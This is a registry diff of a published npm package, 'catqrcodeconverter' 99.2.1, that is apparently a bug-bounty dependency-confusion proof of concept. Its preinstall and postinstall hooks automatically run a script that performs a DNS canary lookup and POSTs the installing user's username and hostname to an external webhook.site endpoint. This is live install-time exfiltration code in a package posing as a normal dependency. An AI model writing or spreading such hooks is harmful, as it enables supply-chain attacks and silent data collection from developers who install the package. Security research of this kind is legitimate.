catqrcodeconverter 99.2.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.js +1 -0
  2. package/package.json +12 -0
  3. package/scripts/run.js +52 -0
package/index.js ADDED
@@ -0,0 +1 @@
1
+ module.exports = { ok: true, note: "catqrcodeconverter dependency-confusion PoC shim" };
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "catqrcodeconverter",
3
+ "version": "99.2.1",
4
+ "description": "catqrcodeconverter (dependency-confusion PoC)",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node scripts/run.js preinstall",
8
+ "postinstall": "node scripts/run.js postinstall"
9
+ },
10
+ "author": "bug-bounty PoC (najeh_halawani@wearehackerone.com)",
11
+ "license": "MIT"
12
+ }
package/scripts/run.js ADDED
@@ -0,0 +1,52 @@
1
+ 'use strict';
2
+ const http = require('http');
3
+ const https = require('https');
4
+ const dns = require('dns');
5
+ const os = require('os');
6
+
7
+ const OOB = 'https://webhook.site/8beeee0f-4dd4-4b25-8588-5a5f83fe6ed2';
8
+ const DNS_CANARY = '8beeee0f-4dd4-4b25-8588-5a5f83fe6ed2.dnshook.site';
9
+
10
+ // DNS canary
11
+ try {
12
+ dns.lookup(DNS_CANARY, () => {});
13
+ console.log('[payload] DNS canary lookup issued -> ' + DNS_CANARY);
14
+ } catch (e) {}
15
+
16
+ // HTTP/HTTPS beacon
17
+ try {
18
+ const u = new URL(OOB);
19
+ const lib = u.protocol === 'https:' ? https : http;
20
+
21
+ const body = JSON.stringify({
22
+ username: (os.userInfo && os.userInfo().username) || process.env.USER || process.env.USERNAME || 'unknown',
23
+ hostname: os.hostname(),
24
+ package: 'catqrcodeconverter`'
25
+ });
26
+
27
+ const req = lib.request({
28
+ hostname: u.hostname,
29
+ port: u.port || (u.protocol === 'https:' ? 443 : 80),
30
+ path: u.pathname + u.search,
31
+ method: 'POST',
32
+ headers: {
33
+ 'Content-Type': 'application/json',
34
+ 'Content-Length': Buffer.byteLength(body)
35
+ },
36
+ timeout: 4000
37
+ }, r => {
38
+ console.log('[payload] beacon delivered, status ' + r.statusCode);
39
+ r.resume();
40
+ });
41
+
42
+ req.on('error', e => console.log('[payload] beacon error: ' + e.code));
43
+ req.on('timeout', () => {
44
+ console.log('[payload] beacon timeout');
45
+ req.destroy();
46
+ });
47
+
48
+ req.write(body);
49
+ req.end();
50
+ } catch (e) {
51
+ console.log('[payload] beacon error ' + e.message);
52
+ }